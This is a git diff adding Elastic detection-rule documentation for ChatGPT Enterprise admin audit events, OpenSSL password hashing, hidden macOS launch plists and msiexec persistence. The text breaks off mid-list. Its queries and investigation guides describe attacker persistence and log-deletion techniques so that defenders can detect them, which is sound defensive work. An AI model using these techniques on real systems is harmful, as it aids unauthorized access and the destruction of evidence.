URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-invite-sent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-invite-sent.asciidoc new file mode 100644 index 0000000000..d41186af04 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-invite-sent.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-invite-sent]] +=== OpenAI ChatGPT Enterprise User Invite Sent + +Detects ChatGPT Enterprise audit events that invite a new user into the workspace. An adversary who compromises an administrator can invite a mailbox they control to gain durable access. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Mitre Atlas: AML.T0125 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise User Invite Sent* + + +A workspace invite was sent. An adversary who compromises an administrator can invite a mailbox they control to gain durable access. + +Escalate when the invitee domain is unexpected, the invited role is privileged, or the actor is unusual. Close as a false positive for routine onboarding with an approved request. + + +*Possible investigation steps* + + +- Inspect invitee email fields, invited role, and actor privilege on the alert. +- Compare the invitee domain with trusted corporate domains. +- Look for role promotions, owner changes, or domain additions near the invite. +- Determine whether the invite was accepted and what activity followed. + + +*False positive analysis* + + +- IT and hiring workflows routinely invite new members during onboarding when the invitee and role are expected. + + +*Response and remediation* + + +- Revoke unauthorized pending invites, remove the user if already accepted, and rotate compromised admin credentials. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "invite_send" and + event.outcome == "success" +| keep + _id, _version, _index, @timestamp, event.action, event.outcome, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.email_addresses, + openai_chatgpt_enterprise.audit_log.action_data.email_address, + openai_chatgpt_enterprise.audit_log.action_data.role, + openai_chatgpt_enterprise.audit_log.action_privilege, + openai_chatgpt_enterprise.audit_log.action_result, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-feature-toggled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-feature-toggled.asciidoc new file mode 100644 index 0000000000..88ffd79fb3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-feature-toggled.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-feature-toggled]] +=== OpenAI ChatGPT Enterprise Workspace Feature Toggled + +Detects ChatGPT Enterprise audit events that toggle a workspace feature flag (for example GPT sharing). Adversaries may enable sharing or weaken controls to persist access or broaden data exposure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Defense Evasion +* Tactic: Persistence +* Mitre Atlas: AML.T0081 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Workspace Feature Toggled* + + +A workspace feature flag changed. Adversaries may enable sharing or weaken controls to broaden data exposure or persist access. + +Escalate when the feature increases sharing or reduces security controls without an approved change. Close as a false positive for documented rollout toggles by administrators. + + +*Possible investigation steps* + + +- Identify the actor and which feature was enabled or disabled. +- Determine whether the change increases sharing, external visibility, or weakens security controls. +- Correlate with other admin actions by the same actor, such as role changes, invites, or exports. +- Confirm whether a change request authorized the toggle. + + +*False positive analysis* + + +- Administrators intentionally enable or disable workspace features during approved rollouts. + + +*Response and remediation* + + +- Revert unauthorized feature changes and review other admin actions by the same actor. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "workspace_toggle_feature" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.feature, + openai_chatgpt_enterprise.audit_log.action_data.value, + openai_chatgpt_enterprise.audit_log.action_data.value_bool, + openai_chatgpt_enterprise.audit_log.action_privilege, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-file-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-file-deleted.asciidoc new file mode 100644 index 0000000000..8c91ecfb87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-file-deleted.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-file-deleted]] +=== OpenAI ChatGPT Enterprise Workspace Log File Deleted + +Detects ChatGPT Enterprise audit events where a workspace compliance log file is deleted (`delete_workspace_log_file`). Adversaries with privileged access may delete exported audit or conversation log archives to remove evidence from compliance workflows and hinder investigation. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Defense Evasion +* Mitre Atlas: AML.T0092 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Workspace Log File Deleted* + + +A workspace compliance log archive was deleted. That can remove investigator access to authentication, conversation, or +Codex exports and may be used to cover tracks after misuse. + +Escalate when the actor is unexpected, deletions follow downloads or privileged changes, or there is no retention-policy +ticket. Close as a false positive for documented retention cleanup by approved admins. + + +*Possible investigation steps* + + +- Identify the actor (`user.id`, `user.email`) and source IP. +- Note `openai_chatgpt_enterprise.audit_log.action_data.log_file_id` and related event type fields. +- Correlate with nearby `list_workspace_log_files` or `download_workspace_log_file` activity from the same actor. +- Confirm whether the deletion matches an approved retention or purge job. +- Review other privileged audit activity by the same actor, such as role changes, invites, or feature toggles. + + +*False positive analysis* + + +- Retention policies may delete aged workspace log archives on a schedule using approved admin accounts. + + +*Response and remediation* + + +- Preserve remaining exports, review the actor's recent privileged activity, and tighten who can delete workspace logs. +- If the deletion appears unauthorized, inventory other exports or deletions by the same actor and revoke sessions or + admin access as appropriate. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "delete_workspace_log_file" and + openai_chatgpt_enterprise.audit_log.actor.type == "ACCOUNT_USER" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.event_type, + openai_chatgpt_enterprise.audit_log.action_data.log_file_id, + openai_chatgpt_enterprise.audit_log.action_privilege, + openai_chatgpt_enterprise.audit_log.actor.type, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-files-accessed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-files-accessed.asciidoc new file mode 100644 index 0000000000..eeee091713 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-files-accessed.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-files-accessed]] +=== OpenAI ChatGPT Enterprise Workspace Log Files Accessed + +Detects ChatGPT Enterprise audit events where workspace compliance log files are listed or downloaded. Attackers pull audit and conversation exports to understand defender visibility or stage sensitive transcript data before further abuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Collection +* Mitre Atlas: AML.T0085 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Workspace Log Files Accessed* + + +A workspace compliance log archive was listed or downloaded by an account user. These exports can include authentication, +conversation, and Codex activity that is useful for both legitimate compliance work and attacker reconnaissance. + +Escalate when the actor is unexpected or exports coincide with other privileged changes. Close as a false positive for +documented SIEM or compliance collection jobs performed by approved admins. + + +*Possible investigation steps* + + +- Identify the actor (`user.id`, `user.email`) and source IP. +- Note which log types were requested in `openai_chatgpt_enterprise.audit_log.action_data` (for example AUTH_LOG, + CONVERSATION_MESSAGE, or CODEX_LOG). +- Correlate with other privileged audit activity from the same actor in the surrounding window, such as role changes, + invites, or feature toggles. +- Confirm whether the download matches an approved compliance or SIEM collection workflow. + + +*False positive analysis* + + +- Security and compliance teams routinely download workspace logs for investigations, SIEM ingestion, or regulatory + requests when using approved admin accounts. + + +*Response and remediation* + + +- Revoke unauthorized sessions and determine whether export data left the organization. +- If the download was unauthorized, inventory other exports by the same actor and tighten who can access workspace logs. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action in ("download_workspace_log_file", "list_workspace_log_files") and + openai_chatgpt_enterprise.audit_log.actor.type == "ACCOUNT_USER" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.event_type, + openai_chatgpt_enterprise.audit_log.action_data.log_file_id, + openai_chatgpt_enterprise.audit_log.action_privilege, + openai_chatgpt_enterprise.audit_log.actor.type, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openssl-password-hash-generation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openssl-password-hash-generation.asciidoc new file mode 100644 index 0000000000..6f6f53969a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openssl-password-hash-generation.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-36-openssl-password-hash-generation]] +=== OpenSSL Password Hash Generation + +This rule detects the usage of the "openssl" binary to generate password hashes on Linux systems. The "openssl" command is a cryptographic utility that can be used to generate password hashes. Attackers may use "openssl" to generate password hashes for new user accounts or to change the password of existing accounts, which can be leveraged to maintain persistence on a Linux system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* auditbeat-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating OpenSSL Password Hash Generation* + + +OpenSSL is a robust cryptographic toolkit used for secure communications and data protection, including generating password hashes. Adversaries may exploit OpenSSL to create hashes for unauthorized user accounts or modify existing ones, aiding in persistent access to Linux systems. The detection rule identifies suspicious OpenSSL executions by monitoring specific process actions and arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "openssl" command with the "passwd" argument, as this indicates an attempt to generate a password hash. +- Identify the user account associated with the process execution to determine if the action was performed by a legitimate user or a potential adversary. +- Check the system logs and user activity around the time of the alert to identify any suspicious behavior or unauthorized access attempts. +- Investigate any recent changes to user accounts on the system, focusing on new account creations or password modifications that coincide with the alert. +- Correlate the alert with other security events or alerts from the same host to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the system and its role within the organization, as well as any potential data exposure or system access implications. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators use OpenSSL to generate password hashes for legitimate user account management. To handle this, create exceptions for specific administrator accounts or processes that are known to perform these tasks regularly. +- Automated scripts for user account provisioning or maintenance that utilize OpenSSL for password hashing can also cause false positives. Identify these scripts and exclude their execution paths or associated user accounts from the rule. +- Security tools or compliance checks that periodically verify password strength or integrity using OpenSSL might be flagged. Review these tools and whitelist their operations to prevent unnecessary alerts. +- Development environments where OpenSSL is used for testing password hashing functions can generate alerts. Exclude these environments or specific test accounts from monitoring to reduce noise. +- Scheduled tasks or cron jobs that involve OpenSSL for password management purposes should be identified and excluded if they are part of regular system operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious OpenSSL processes identified by the detection rule to halt ongoing unauthorized password hash generation. +- Conduct a thorough review of user accounts on the affected system to identify any unauthorized accounts or changes to existing accounts, and revert any unauthorized modifications. +- Change passwords for all user accounts on the affected system, especially those with elevated privileges, to ensure that any compromised credentials are no longer valid. +- Implement additional monitoring on the affected system to detect any further unauthorized use of OpenSSL or similar tools, focusing on process execution and command-line arguments. +- Escalate the incident to the security operations team for a comprehensive investigation to determine the root cause and scope of the breach, and to assess potential impacts on other systems. +- Review and update access controls and authentication mechanisms to enhance security and prevent similar incidents in the future, ensuring that only authorized users can perform sensitive operations. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and process.name == "openssl" +and process.args == "passwd" and process.args_count >= 4 and +not process.args in ("-help", "--help", "-h") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-a-hidden-plist-filename-via-macos-security-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-a-hidden-plist-filename-via-macos-security-events.asciidoc new file mode 100644 index 0000000000..701bad539c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-a-hidden-plist-filename-via-macos-security-events.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-36-persistence-via-a-hidden-plist-filename-via-macos-security-events]] +=== Persistence via a Hidden Plist Filename via macOS Security Events + +Identifies the registration of a launch agent or launch daemon whose property list (plist) filename begins with a dot, using launch item registration messages collected by the macOS Security Events integration. An adversary may establish persistence by installing a launch agent or daemon that executes at login or boot; plist files with filenames starting with a dot are hidden from default directory listings and are particularly suspicious. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/ +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: macOS Security Events +* Resources: Investigation Guide +* Rule Type: ESQL +* Platform: macOS +* Domain: Endpoint + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via a Hidden Plist Filename via macOS Security Events* + + +On macOS, launch agents and launch daemons provide persistence by running a program defined in a property list (plist) file located in a LaunchAgents or LaunchDaemons directory. When a launch item is registered, the BackgroundTaskManagement subsystem logs its path, type, and target executable to the unified log. Adversaries name the plist with a leading dot (for example `.com.evil.agent.plist`) so it is hidden from default directory listings while still functioning as persistence. This rule alerts when a registered launch item's plist filename begins with a dot, and reports the plist path, item type, and target executable extracted from the message. + + +*Possible investigation steps* + + +- Review `Esql.plist_path`, `Esql.item_type`, and `Esql.executable` in the alert to identify the hidden plist, whether it is a launch agent (per-user) or launch daemon (system-wide), and what it runs. +- Retrieve and examine the plist and its target executable on the host. Determine whether the program is signed, where it is located, and what it does; executables in user-writable or temporary locations are higher risk. +- Determine how and when the plist was created, and by which process, using Elastic Defend file telemetry if available. +- Check whether the label or filename masquerades as a legitimate Apple or vendor service. +- Review other alerts and activity for the host and associated user during the same period. + + +*False positive analysis* + + +- Some legitimate software and management tooling create dot-prefixed plists as part of atomic file writes or internal bookkeeping. +- Verify the executable and signing status before escalating; recurring benign cases can be excluded by plist path or executable. + + +*Response and remediation* + + +- If the launch item is not legitimate, unload it with `launchctl bootout` and remove the plist, then remove or quarantine the target executable. +- Investigate the host for related persistence, the initial access vector, and any activity performed by the launch item's program. +- Reset credentials for the affected user and review the host for additional compromise. +- Escalate to the security operations team if additional hosts show similar patterns. + + +==== Setup + + + +*Setup* + + +This rule requires data from the macOS Security Events integration. +Integration setup instructions: https://www.elastic.co/docs/reference/integrations/macos[macOS Security Events Integration for Elastic] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-macos.process_execution_monitoring-* metadata _id, _version, _index +| WHERE data_stream.dataset == "macos.process_execution_monitoring" and + macos.event.message.description LIKE "*effectiveItemDisposition*" and + (macos.event.message.description LIKE "*url=file://*/Library/LaunchAgents/.*" or + macos.event.message.description LIKE "*url=file://*/Library/LaunchDaemons/.*") +| GROK macos.event.message.description "url=file://%{DATA:Esql.plist_path}, config" +| GROK macos.event.message.description "type=%{DATA:Esql.item_type}," +| GROK macos.event.message.description "BTMConfigExecutablePath = \"%{DATA:Esql.executable}\"" +| WHERE Esql.plist_path RLIKE ".*/Library/Launch(Agents|Daemons)/\\..*\\.plist" +| KEEP _id, _version, _index, @timestamp, host.name, Esql.plist_path, Esql.item_type, Esql.executable, macos.event.message.description + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Plist Modification +** ID: T1547.011 +** Reference URL: https://attack.mitre.org/techniques/T1547/011/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-a-windows-installer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-a-windows-installer.asciidoc new file mode 100644 index 0000000000..785246098e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-persistence-via-a-windows-installer.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-36-persistence-via-a-windows-installer]] +=== Persistence via a Windows Installer + +Identifies when the Windows installer process msiexec.exe creates a new persistence entry via scheduled tasks or startup. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Installer Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via a Windows Installer* + + +Windows Installer, through msiexec.exe, facilitates software installation and configuration. Adversaries exploit this by creating persistence mechanisms, such as scheduled tasks or startup entries, to maintain access. The detection rule identifies suspicious activity by monitoring msiexec.exe for file creation in startup directories or registry modifications linked to auto-run keys, signaling potential persistence tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path or registry path involved in the suspicious activity, focusing on the paths specified in the query such as "?:\\Windows\\System32\\Tasks\\*" or "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*". +- Check the creation or modification timestamps of the files or registry entries to determine when the suspicious activity occurred and correlate it with other events or logs around the same time. +- Investigate the parent process of msiexec.exe to understand how it was executed and whether it was initiated by a legitimate user action or another suspicious process. +- Examine the contents of the created or modified files or registry entries to identify any scripts, executables, or commands that may indicate malicious intent. +- Look for any associated network activity or connections initiated by msiexec.exe or related processes to identify potential command and control communication. +- Cross-reference the involved file or registry paths with known indicators of compromise or threat intelligence sources to assess the risk level and potential threat actor involvement. +- If applicable, isolate the affected system and perform a deeper forensic analysis to uncover any additional persistence mechanisms or lateral movement within the network. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when msiexec.exe creates scheduled tasks or startup entries. Users can create exceptions for known software vendors or specific installation paths to reduce noise. +- System administrators might use msiexec.exe for deploying software across the network, which can appear as suspicious activity. To handle this, exclude specific administrative accounts or IP ranges from the rule. +- Some enterprise management tools may utilize msiexec.exe for legitimate configuration changes, including registry modifications. Identify and exclude these tools by their process names or associated registry paths. +- Automated scripts or deployment tools that rely on msiexec.exe for software management can generate false positives. Consider excluding these scripts or tools by their execution context or associated file paths. +- Regularly review and update the exclusion list to ensure it aligns with the current software deployment and management practices within the organization. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate the msiexec.exe process if it is confirmed to be involved in creating unauthorized persistence mechanisms. +- Remove any scheduled tasks or startup entries created by msiexec.exe that are identified as malicious or unauthorized. +- Restore any modified registry keys to their original state if they were altered to establish persistence. +- Conduct a 